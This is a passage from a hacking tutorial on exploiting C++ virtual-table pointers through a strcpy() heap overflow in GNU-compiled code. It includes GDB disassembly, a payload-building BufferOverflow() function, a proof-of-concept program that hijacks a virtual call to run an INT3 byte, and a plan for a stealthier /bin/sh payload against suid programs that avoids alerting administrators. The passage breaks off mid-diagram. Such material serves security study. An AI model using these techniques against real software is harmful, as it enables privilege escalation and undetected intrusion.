Then, we define an Object object based on the MyClass class. Initially, we'll notice that the SetBuffer() method uses a *very dangerous* function to fill Buffer, strcpy()...

As it happens, using object oriented programming in this simplistic example doesn't bring too many advantages. On the other hand, a mechanism very often used in object oriented programming is the inheritance mechanism. Let's consider the following program (bo2.cpp), using the inheritance mechanism to create 2 classes with distinct PrintBuffer() methods:

#include <stdio.h>

#include <string.h>

class BaseClass

{

private:

char Buffer[32];

public:

void SetBuffer(char *String)

{

strcpy(Buffer,String);

}

virtual void PrintBuffer()

{

printf("%s\n",Buffer);

}

};

class MyClass1:public BaseClass

{

public:

void PrintBuffer()

{

printf("MyClass1: "); BaseClass::PrintBuffer();

}

};

class MyClass2:public BaseClass

{

public:

void PrintBuffer()

{

printf("MyClass2: "); BaseClass::PrintBuffer();

}

};

void main()

{

BaseClass *Object[2];

Object[0] = new MyClass1;

Object[1] = new MyClass2;

Object[0]‑>SetBuffer("string1"); Object[1]‑>SetBuffer("string2");

Object[0]‑>PrintBuffer();

Object[1]‑>PrintBuffer();

}

This program creates 2 distinct classes (MyClass1, MyClass2) which are derivatives of a BaseClass class. These 2 classes differ at the display level (PrintBuffer() method). Each has its own PrintBuffer() method, but they both call the original PrintBuffer() method (from BaseClass). Next, we have the main() function define an array of pointers to two objects of class BaseClass. Each of these objects is created, as derived from MyClass1 or MyClass2. Then we call the SetBuffer() and PrintBuffer() methods of these two objects. Executing the program produces this output:

rix@pentium:~/BO> bo2

MyClass1: string1

MyClass2: string2

rix@pentium:~/BO>

We now notice the advantage of object oriented programming. We have the same calling primitives to PrintBuffer() for two different classes! This is the end result from virtual methods. Virtual methods permit us to redefine newer versions of methods of our base classes, or to define a method of the base classes (if the base class is purely abstracted) in a derivative class. If we don't declare the method as virtual, the compiler would do the call resolution at compile time ("static binding"). To resolve the call at run time (because this call depends on the class of objects that we have in our Object[] array), we must declare our PrintBuffer() method as "virtual". The compiler will then use a dynamic binding, and will calculate the address for the call at run time.

‑‑‑‑| C++ VPTR

We are now going to analyze in a more detailed manner this dynamic binding mechanism. Let's take the case of our BaseClass class and its derivative classes.

The compiler first browses the declaration of BaseClass. Initially, it reserves 32 bytes for the definition of Buffer. Then, it reads the declaration of the SetBuffer() method (not virtual) and it directly assigns the corresponding address in the code. Finally, it reads the declaration of the PrintBuffer() method (virtual). In this case, instead of doing a static binding, it does a dynamic binding, and reserves 4 bytes in the class (those bytes will contain a pointer). We have now the following structure:

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV

Where: B represents a byte of Buffer.

V represents a byte of our pointer.

This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an array of function pointers. Those point themselves to methods (relative to the class). There is one VTABLE for a class, that contains only pointers to all class methods. We now have the following diagram:

Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

+‑‑> VTABLE_MyClass1: IIIIIIIIIIIIPPPP

Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

+‑‑> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ

Where: B represents a byte of Buffer.

V represents a byte of the VPTR to VTABLE_MyClass1. W represents a byte of the VPTR to VTABLE_MyClass2. I represents various information bytes.

P represents a byte of the pointer to the PrintBuffer() method of MyClass1.

Q represents a byte of the pointer to the PrintBuffer() method of MyClass2.

If we had a third object of MyClass1 class, for example, we would have:

Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV

with VVVV that would point to VTABLE_MyClass1.

We notice that the VPTR is located after our Buffer in the process's memory. As we fill this buffer via the strcpy() function, we easily deduct that we can reach the VPTR by filling the buffer!

NOTE: After some tests under Windows, it appears that Visual C++ 6.0 places the VPTR right at the beginning of the object, which prevents us from using this technique. On the other hand, C++ GNU places the VPTR at the end of the object (which is what we want).

‑‑‑‑| VPTR analysis using GDB

Now we will observe the mechanism more precisely, using a debugger. For this, we compile our program and run GDB:

rix@pentium:~/BO > gcc ‑o bo2 bo2.cpp

rix@pentium:~/BO > gdb bo2

GNU gdb 4.17.0.11 with Linux support

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686‑pc‑linux‑gnu"...

(gdb) disassemble main

Dump of assembler code for function main:

0x80485b0 <main>: pushl %ebp

0x80485b1 <main+1>: movl %esp,%ebp

0x80485b3 <main+3>: subl $0x8,%esp

0x80485b6 <main+6>: pushl %edi

0x80485b7 <main+7>: pushl %esi

0x80485b8 <main+8>: pushl %ebx

0x80485b9 <main+9>: pushl $0x24

0x80485bb <main+11>: call 0x80487f0 <___builtin_new> 0x80485c0 <main+16>: addl $0x4,%esp

0x80485c3 <main+19>: movl %eax,%eax

0x80485c5 <main+21>: pushl %eax

0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>

0x80485cb <main+27>: addl $0x4,%esp

0x80485ce <main+30>: movl %eax,%eax

0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)

0x80485d3 <main+35>: pushl $0x24

0x80485d5 <main+37>: call 0x80487f0 <___builtin_new> 0x80485da <main+42>: addl $0x4,%esp

0x80485dd <main+45>: movl %eax,%eax

0x80485df <main+47>: pushl %eax

0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>

0x80485e5 <main+53>: addl $0x4,%esp

0x80485e8 <main+56>: movl %eax,%eax

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)

0x80485ed <main+61>: pushl $0x8048926

0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax

0x80485f5 <main+69>: pushl %eax

0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc> 0x80485fb <main+75>: addl $0x8,%esp

0x80485fe <main+78>: pushl $0x804892e

0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax

0x8048606 <main+86>: pushl %eax

0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc> 0x804860c <main+92>: addl $0x8,%esp

0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax

0x8048612 <main+98>: movl 0x20(%eax),%ebx

0x8048615 <main+101>: addl $0x8,%ebx

0x8048618 <main+104>: movswl (%ebx),%eax

0x804861b <main+107>: movl %eax,%edx

0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx

0x8048620 <main+112>: pushl %edx

0x8048621 <main+113>: movl 0x4(%ebx),%edi

0x8048624 <main+116>: call *%edi

0x8048626 <main+118>: addl $0x4,%esp

0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax

0x804862c <main+124>: movl 0x20(%eax),%esi

0x804862f <main+127>: addl $0x8,%esi

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

0x8048632 <main+130>: movswl (%esi),%eax

0x8048635 <main+133>: movl %eax,%edx

0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx

0x804863a <main+138>: pushl %edx

0x804863b <main+139>: movl 0x4(%esi),%edi

0x804863e <main+142>: call *%edi

0x8048640 <main+144>: addl $0x4,%esp

0x8048643 <main+147>: xorl %eax,%eax

0x8048645 <main+149>: jmp 0x8048650 <main+160>

0x8048647 <main+151>: movl %esi,%esi

0x8048649 <main+153>: leal 0x0(%edi,1),%edi

0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp

0x8048653 <main+163>: popl %ebx

0x8048654 <main+164>: popl %esi

0x8048655 <main+165>: popl %edi

0x8048656 <main+166>: movl %ebp,%esp

0x8048658 <main+168>: popl %ebp

0x8048659 <main+169>: ret

0x804865a <main+170>: leal 0x0(%esi),%esi

End of assembler dump.

Let's analyze, in a detailed manner, what our main() function does:

0x80485b0 <main>: pushl %ebp

0x80485b1 <main+1>: movl %esp,%ebp

0x80485b3 <main+3>: subl $0x8,%esp

0x80485b6 <main+6>: pushl %edi

0x80485b7 <main+7>: pushl %esi

0x80485b8 <main+8>: pushl %ebx

The program creates a stack frame, then it reserves 8 bytes on the stack (this is our local Object[] array), that will contain 2 pointers of 4 bytes each, respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for Object[1]. Next, it saves various registers.

0x80485b9 <main+9>: pushl $0x24

0x80485bb <main+11>: call 0x80487f0 <___builtin_new> 0x80485c0 <main+16>: addl $0x4,%esp

The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the heap for our Object[0] and sends us back the address of these bytes reserved in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes for our VPTR.

0x80485c3 <main+19>: movl %eax,%eax

0x80485c5 <main+21>: pushl %eax

0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>

0x80485cb <main+27>: addl $0x4,%esp

Here, we place the address of the object (contained in EAX) on the stack, then we call the __8MyClass1 function. This function is in fact the constructor of the MyClass1 class. It is necessary to also notice that in C++, all methods include an additional "secret" parameter. That is the address of the object that actually executes the method (the "This" pointer). Let's analyze instructions from this constructor:

(gdb) disassemble __8MyClass1

Dump of assembler code for function __8MyClass1:

0x8048690 <__8MyClass1>: pushl %ebp

0x8048691 <__8MyClass1+1>: movl %esp,%ebp

0x8048693 <__8MyClass1+3>: pushl %ebx

0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx

EBX now contains the pointer to the 36 reserved bytes ("This" pointer).

0x8048697 <__8MyClass1+7>: pushl %ebx

0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass> 0x804869d <__8MyClass1+13>: addl $0x4,%esp

Here, we call the constructor of the BaseClass class.

(gdb) disass __9BaseClass

Dump of assembler code for function __9BaseClass:

0x8048700 <__9BaseClass>: pushl %ebp

0x8048701 <__9BaseClass+1>: movl %esp,%ebp

0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx

EDX receives the pointer to the 36 reserved bytes ("This" pointer).

0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)

The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value. Then, the __9BaseClass function extends a little farther. If we launch:

(gdb) x/aw 0x08048958

0x8048958 <_vt.9BaseClass>: 0x0

We observe that the value that is written in EDX+0x20 (the VPTR of the reserved object) receives the address of the VTABLE of the BaseClass class. Returning to the code of the MyClass1 constructor:

0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)

It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends a little farther. Let's launch:

(gdb) x/aw 0x08048948

0x8048948 <_vt.8MyClass1>: 0x0

We observe that the VPTR is overwritten, and that it now receives the address of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a pointer to the object allocated in memory.

0x80485ce <main+30>: movl %eax,%eax

0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)

This pointer is placed in Object[0]. Then, the program uses the same mechanism for Object[1], evidently with different addresses. After all that initialization, the following instructions will run:

0x80485ed <main+61>: pushl $0x8048926

0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax

0x80485f5 <main+69>: pushl %eax

Here, we first place address 0x8048926 as well as the value of Object[0] on the stack ("This" pointer). Observing the 0x8048926 address:

(gdb) x/s 0x08048926

0x8048926 <_fini+54>: "string1"

We notice that this address contains "string1" that is going to be copied in Buffer via the SetBuffer() function of the BaseClass class.

0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc> 0x80485fb <main+75>: addl $0x8,%esp

We call the SetBuffer() method of the BaseClass class. It is interesting to observe that the call of the SetBuffer method is a static binding (because it is not a virtual method). The same principle is used for the SetBuffer() method relative to Object[1].

To verify that our 2 objects are correctly initialized at run time, we are going to install the following breakpoints:

0x80485c0: to get the address of the 1st object.

0x80485da: to get the address of the 2nd object.

0x804860f: to verify that initializations of objects took place well.

(gdb) break *0x80485c0

Breakpoint 1 at 0x80485c0

(gdb) break *0x80485da

Breakpoint 2 at 0x80485da

(gdb) break *0x804860f

Breakpoint 3 at 0x804860f

Finally we run the program:

Starting program: /home/rix/BO/bo2

Breakpoint 1, 0x80485c0 in main ()

While consulting EAX, we will have the address of our 1st object:

(gdb) info reg eax

eax: 0x8049a70 134519408

Then, we continue to the following breakpoint:

(gdb) cont

Continuing.

Breakpoint 2, 0x80485da in main ()

We notice our second object address:

(gdb) info reg eax

eax: 0x8049a98 134519448

We can now run the constructors and the SetBuffer() methods:

(gdb) cont

Continuing.

Breakpoint 3, 0x804860f in main ()

Let's notice that our 2 objects follow themselves in memory (0x8049a70 and 0x8049a98). However, 0x8049a98 ‑ 0x8049a70 = 0x28, which means that there are 4 bytes that have apparently been inserted between the 1st and the 2nd object. If we want to see these bytes:

(gdb) x/aw 0x8049a98‑4

0x8049a94: 0x29

We observe that they contain the value 0x29. The 2nd object is also followed by 4 particular bytes:

(gdb) x/xb 0x8049a98+32+4

0x8049abc: 0x49

We are now going to display in a more precise manner the internal structure of each of our objects (now initialized):

(gdb) x/s 0x8049a70

0x8049a70: "string1"

(gdb) x/a 0x8049a70+32

0x8049a90: 0x8048948 <_vt.8MyClass1>

(gdb) x/s 0x8049a98

0x8049a98: "string2"

(gdb) x/a 0x8049a98+32

0x8049ab8: 0x8048938 <_vt.8MyClass2>

We can display the content of the VTABLEs of each of our classes:

(gdb) x/a 0x8048948

0x8048948 <_vt.8MyClass1>: 0x0

(gdb) x/a 0x8048948+4

0x804894c <_vt.8MyClass1+4>: 0x0

(gdb) x/a 0x8048948+8

0x8048950 <_vt.8MyClass1+8>: 0x0

(gdb) x/a 0x8048948+12

0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1> (gdb) x/a 0x8048938

0x8048938 <_vt.8MyClass2>: 0x0

(gdb) x/a 0x8048938+4

0x804893c <_vt.8MyClass2+4>: 0x0

(gdb) x/a 0x8048938+8

0x8048940 <_vt.8MyClass2+8>: 0x0

(gdb) x/a 0x8048938+12

0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>

We see that the PrintBuffer() method is well the 4th method in the VTABLE of our classes. Next, we are going to analyze the mechanism for dynamic binding. It we will continue to run and display registers and memory used. We will execute the code of the function main() step by step, with instructions:

(gdb) ni

Now we are going to run the following instructions:

0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax

This instruction is going to make EAX point to the 1st object.

0x8048612 <main+98>: movl 0x20(%eax),%ebx

0x8048615 <main+101>: addl $0x8,%ebx

These instructions are going to make EBX point on the 3rd address from the VTABLE of the MyClass1 class.

0x8048618 <main+104>: movswl (%ebx),%eax

0x804861b <main+107>: movl %eax,%edx

These instructions are going to load the word at offset +8 in the VTABLE to EDX.

0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx

0x8048620 <main+112>: pushl %edx

These instructions add to EDX the offset of the 1st object, and place the resulting address (This pointer) on the stack.

0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)

0x8048624 <main+116>: call *%edi // run the code at EDI

This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that is the address of the PrintBuffer() method of the MyClass1 class. Then, this method is executed. The same mechanism is used to execute the PrintBuffer() method of the MyClass2 class. Finally, the function main() ends a little farther, using a RET.

We have observed a "strange handling", to point to the beginning of the object in memory, since we went to look for an offset word in VPTR+8 to add it to the address of our 1st object. This manipulation doesn't serve has anything in this precise case, because the value pointed by VPTR+8 was 0:

(gdb) x/a 0x8048948+8

0x8048950 <_vt.8MyClass1+8>: 0x0

However, this manipulation is necessary in several convenient cases. It is why it is important to notice it. We will come back besides later on this mechanism, because it will provoke some problems later.

‑‑‑‑| Exploiting VPTR

We are now going to try to exploit in a simple manner the buffer overflow. For it, we must proceed as this:

‑ To construct our own VTABLE, whose addresses will point to the code that we want to run (a shellcode for example ;)

‑ To overflow the content of the VPTR so that it points to our own VTABLE.

One of the means to achieve it, is to code our VTABLE in the beginning of the buffer that we will overflow. Then, we must set a VPTR value to point back to the beginning of our buffer (our VTABLE). We can either place our shellcode directly after our VTABLE in our buffer, either place it after the value of the VPTR that we are going to overwrite.

However, if we place our shellcode after the VPTR, it is necessary to be certain that we have access to this part of the memory, to not provoke segmentation faults.

This consideration depends largely of the size of the buffer.

A buffer of large size will be able to contain without problem a VTABLE and a shellcode, and then avoid all risks of segmentation faults.

Let's remind ourselves that our objects are each time followed by a 4 bytes sequence (0x29, 0x49), and that we can without problems write our 00h (end of string) to the byte behind our VPTR.

To check we are going to place our shellcode rightly before our VPTR. We are going to adopt the following structure in our buffer:

+‑‑‑‑‑‑(1)‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| ==+=

SSSS ..... SSSS .... B ... CVVVV0

==+= =+== |

| | |

+‑‑‑‑(2)‑‑+‑>‑‑‑‑‑‑‑‑‑‑‑‑‑+

Where: V represents bytes of the address of the beginning of our buffer. S represents bytes of the address of our shellcode, here the address of C (address S=address V+offset VPTR in the buffer‑1 in this case, because we have placed our shellcode rightly before the VPTR). B represents the possible bytes of any value alignment (NOPs:), to align the value of our VPTR on the VPTR of the object. C represents the byte of the shellcode, in this case, a simple CCh byte (INT 3), that will provoke a SIGTRAP signal.

0 represents the 00h byte, that will be at the end of our buffer (for strcpy() function).

The number of addresses to put in the beginning of our buffer (SSSS) depends if we know or not the index in the VTABLE of the 1st method that will be called after our overflow:

Either we knows this index, and then we writes the corresponding pointer. Either we doesn't know this index, and we generate a maximum number of pointers. Then, we hope the method that will be executed will use one of those overwritten pointers. Notice that a class that contains 200 methods isn't very usual ;)

The address to put in VVVV (our VPTR) depends principally of the execution of the program.

It is necessary to note here that our objects were allocated on the heap, and that it is difficult to know exactly their addresses.

We are going to write a small function that will construct us a buffer. This function will receive 3 parameters:

‑ BufferAddress: the address of the beginning of the buffer that we will overflow.

‑ NAddress: the number of addresses that we want in our VTABLE.

Here is the code of our BufferOverflow() function:

char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer;

unsigned long *LongBuffer;

unsigned long CCOffset;

int i;

Buffer=(char*)malloc(VPTROffset+4);

// allocates the buffer.

CCOffset=(unsigned long)VPTROffset‑1;

// calculates the offset of the code to execute in the buffer.

for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';

// fills the buffer with 90h (NOP, old habit:)))

LongBuffer=(unsigned long*)Buffer;

// constructs a pointer to place addresses in our VTABLE.

for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset; // fills our VTABLE at the beginning of the buffer with the address of the

// shellcode.

LongBuffer=(unsigned long*)&Buffer[VPTROffset];

// constructs a pointeur on VPTR.

*LongBuffer=BufferAddress;

// value that will overwrite VPTR.

Buffer[CCOffset]='\xCC';

// our executable code.

Buffer[VPTROffset+4]='\x00';

// finishes by a 00h char (end string).

return Buffer;

}

In our program we can now call our BufferOverflow() function, with as parameters:

‑ the address of our buffer, here the address of our object (Object[0]). ‑ 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4). ‑ 32 as offset for VPTR.

Here is the resulting code (bo3.cpp):

#include <stdio.h>

#include <string.h>

#include <malloc.h>

class BaseClass {

private:

char Buffer[32];

public:

void SetBuffer(char *String) {

strcpy(Buffer,String);

}

virtual void PrintBuffer() {

printf("%s\n",Buffer);

}

};

class MyClass1:public BaseClass {

public:

void PrintBuffer() {

printf("MyClass1: ");

BaseClass::PrintBuffer();

}

};

class MyClass2:public BaseClass {

public:

void PrintBuffer() {

printf("MyClass2: ");

BaseClass::PrintBuffer();

}

};

char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer;

unsigned long *LongBuffer;

unsigned long CCOffset;

int i;

Buffer=(char*)malloc(VPTROffset+4+1);

CCOffset=(unsigned long)VPTROffset‑1;

for (i=0;i<VPTROffset;i++) Buffer[i]='\x90'; LongBuffer=(unsigned long*)Buffer;

for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset; LongBuffer=(unsigned long*)&Buffer[VPTROffset]; *LongBuffer=BufferAddress;

Buffer[CCOffset]='\xCC';

Buffer[VPTROffset+4]='\x00';

return Buffer;

}

void main() {

BaseClass *Object[2];

Object[0]=new MyClass1;

Object[1]=new MyClass2; Object[0]‑>SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32)); Object[1]‑>SetBuffer("string2");

Object[0]‑>PrintBuffer();

Object[1]‑>PrintBuffer();

}

We compile, and we launch GDB:

rix@pentium:~/BO > gcc ‑o bo3 bo3.cpp

rix@pentium:~/BO > gdb bo3

...

(gdb) disass main

Dump of assembler code for function main:

0x8048670 <main>: pushl %ebp

0x8048671 <main+1>: movl %esp,%ebp

0x8048673 <main+3>: subl $0x8,%esp

0x8048676 <main+6>: pushl %edi

0x8048677 <main+7>: pushl %esi

0x8048678 <main+8>: pushl %ebx

0x8048679 <main+9>: pushl $0x24

0x804867b <main+11>: call 0x80488c0 <___builtin_new> 0x8048680 <main+16>: addl $0x4,%esp

0x8048683 <main+19>: movl %eax,%eax

0x8048685 <main+21>: pushl %eax

0x8048686 <main+22>: call 0x8048760 <__8MyClass1>

0x804868b <main+27>: addl $0x4,%esp

0x804868e <main+30>: movl %eax,%eax

0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)

0x8048693 <main+35>: pushl $0x24

0x8048695 <main+37>: call 0x80488c0 <___builtin_new> 0x804869a <main+42>: addl $0x4,%esp

0x804869d <main+45>: movl %eax,%eax

0x804869f <main+47>: pushl %eax

0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>

0x80486a5 <main+53>: addl $0x4,%esp

0x80486a8 <main+56>: movl %eax,%eax

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)

0x80486ad <main+61>: pushl $0x20

0x80486af <main+63>: pushl $0x4

0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax

0x80486b4 <main+68>: pushl %eax

0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii> 0x80486ba <main+74>: addl $0xc,%esp

0x80486bd <main+77>: movl %eax,%eax

0x80486bf <main+79>: pushl %eax

0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax

0x80486c3 <main+83>: pushl %eax

0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc> 0x80486c9 <main+89>: addl $0x8,%esp

0x80486cc <main+92>: pushl $0x80489f6

0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax

0x80486d4 <main+100>: pushl %eax

0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc> 0x80486da <main+106>: addl $0x8,%esp

0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax

0x80486e0 <main+112>: movl 0x20(%eax),%ebx

0x80486e3 <main+115>: addl $0x8,%ebx

0x80486e6 <main+118>: movswl (%ebx),%eax

0x80486e9 <main+121>: movl %eax,%edx

0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

0x80486ee <main+126>: pushl %edx

0x80486ef <main+127>: movl 0x4(%ebx),%edi

0x80486f2 <main+130>: call *%edi

0x80486f4 <main+132>: addl $0x4,%esp

0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax

0x80486fa <main+138>: movl 0x20(%eax),%esi

0x80486fd <main+141>: addl $0x8,%esi

0x8048700 <main+144>: movswl (%esi),%eax

0x8048703 <main+147>: movl %eax,%edx

0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx

0x8048708 <main+152>: pushl %edx

0x8048709 <main+153>: movl 0x4(%esi),%edi

0x804870c <main+156>: call *%edi

0x804870e <main+158>: addl $0x4,%esp

0x8048711 <main+161>: xorl %eax,%eax

0x8048713 <main+163>: jmp 0x8048720 <main+176>

0x8048715 <main+165>: leal 0x0(%esi,1),%esi

0x8048719 <main+169>: leal 0x0(%edi,1),%edi

0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp

0x8048723 <main+179>: popl %ebx

0x8048724 <main+180>: popl %esi

0x8048725 <main+181>: popl %edi

0x8048726 <main+182>: movl %ebp,%esp

0x8048728 <main+184>: popl %ebp

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

0x8048729 <main+185>: ret

0x804872a <main+186>: leal 0x0(%esi),%esi

End of assembler dump.

Next, we install a breakpoint in 0x8048690, to get the address of our 1st object.

(gdb) break *0x8048690

Breakpoint 1 at 0x8048690

And finally, we launch our program:

(gdb) run

Starting program: /home/rix/BO/bo3

Breakpoint 1, 0x8048690 in main ()

We read the address of our 1st object:

(gdb) info reg eax

eax: 0x8049b38 134519608

Then we pursue, while hoping that all happens as foreseen... :)

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0x8049b58 in ?? ()

We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58 address. However, the address of our object was 0x8049b38. 0x8049b58‑1‑0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our buffer. Therefore, it is well our CCh that has been executed!!! You understood it, we can now replace our simple CCh code, by a small shellcode, to get some more interesting results, especially if our program bo3 is suid... ;)

Some variations about the method

================================

We have explain here the simplest exploitable mechanism.

Other more complex cases could possibly appear...

For example, we could have associations between classes like this:

class MyClass3 {

private:

char Buffer3[32];

MyClass1 *PtrObjectClass;

public:

virtual void Function1() {

...

PtrObjectClass1‑>PrintBuffer();

...

}

};

In this case, we have a relation between 2 classes called "link by reference". Our MyClass3 class contains a pointer to another class. If we overflow the buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We only need to browse a supplementary pointer ;)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |

MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ

Where: B represents bytes of the Buffer of MyClass4.

C represents bytes of the Buffer of MyClass1.

P represents bytes of a pointer to a MyClass1 object class. X represents bytes of the possible VPTR of the MyClass4 object class. (it is not necessary to have a VPTR in the class containing the pointer).

Y represent bytes of the VPTR of the MyClass1 object class.

This technique doesn't depend here on the structure of the internal class to the compiler (offset of VPTR), but depend of the structure of the class defined by the programmer, and dus it can even be exploited in programs coming from compilers placing the VPTR at the beginning of the object in memory (for example Visual C++).

Besides, in this case, the MyClass3 object class possibly have been created on the stack (local object), what makes that localization is a lot easier, being given that the address of the object will probably be fixed. However, in this case, it will be necessary that our stack be executable, and not our heap as previously.

We know how to find the values for 2 of the 3 parameters of our BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR) Indeed these 2 parameters can be easily founded in debugging the code of the program, and besides, their value is fixed from on execution to another. On the other hand, the 1st parameter (address of the object in memory), is more difficult to establish. In fact, we need this address only because we want to place the VTABLE that we created into the buffer.

‑‑‑‑| A particular example

Let's suppose that we have a class whose last variable is an exploitable buffer. This means that if we fill this buffer (for example of size N bytes), with N + 4 bytes, we know that we don't have modify anything else in the space memory of the process that the content of our buffer, the VPTR, and the byte following our VPTR (because character 00h).

Perhaps could we take advantage of this situation. But how? We are going to use the buffer, to launch a shellcode, and next to follow the execution of the program! The advantage will be enormous, since the program would not be finished brutally, and dus will not alert someone eventually controlling or logging its execution (administrators...).

Is it possible?

It would be necessary to first execute our shellcode, to rewrite a chain in our buffer, and to restore the stack in the initial state (just before the call of our method). Then, it would only remain us to recall the initial method, so that the program normally continues.

Here are several remarks and problems that we are going to meet:

‑ it is necessary to completely rewrite our buffer (so that the continuation of the execution uses appropriate values), and therefore to overwrite our own shellcode.

To avoid it, we are going to copy a part of our shellcode (the smallest part as possible ) to another place in memory.

In this case we are going to copy a part of our shellcode to the stack (we will call this part of code "stackcode"). It should not pose any particularly problems if our stack is executable.

‑ We had mentioned before a "strange handling", that consisted to add an offset to the address of our object, and to place this result on the stack, what provided the This pointer to the executed method.

The problem is, that here, the offset that is going to be added to the address of our object is going to be took in our VTABLE, and that this offset cannot be 0 (because we cannot have 00h bytes in our buffer).

We are going to choose an arbitrary value for this offset, that we will place in our VTABLE, and correct the This value on the stack later, with a corresponding subtraction.

‑ we are going to make a fork () on our process, to launch the execution of the shell (exec ()), and to wait for its termination (wait ()), to continue our execution of the main program.

‑ the address where we will continue our execution is constant, because it is the address of the original method (presents in the VTABLE of our object's relative class).

‑ we know that we can use our EAX register, because this one would be overwritten in any case by our method's return value.

‑ we cannot include any 00h byte in our buffer. We then should regenerate these bytes (necessary for our strings) at run time.

While applying all these important points, we are going to try to construct a buffer according to the following diagram:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑1)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| our VTABLE

=+===================

9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL

==+= ==+= | |

| | | |
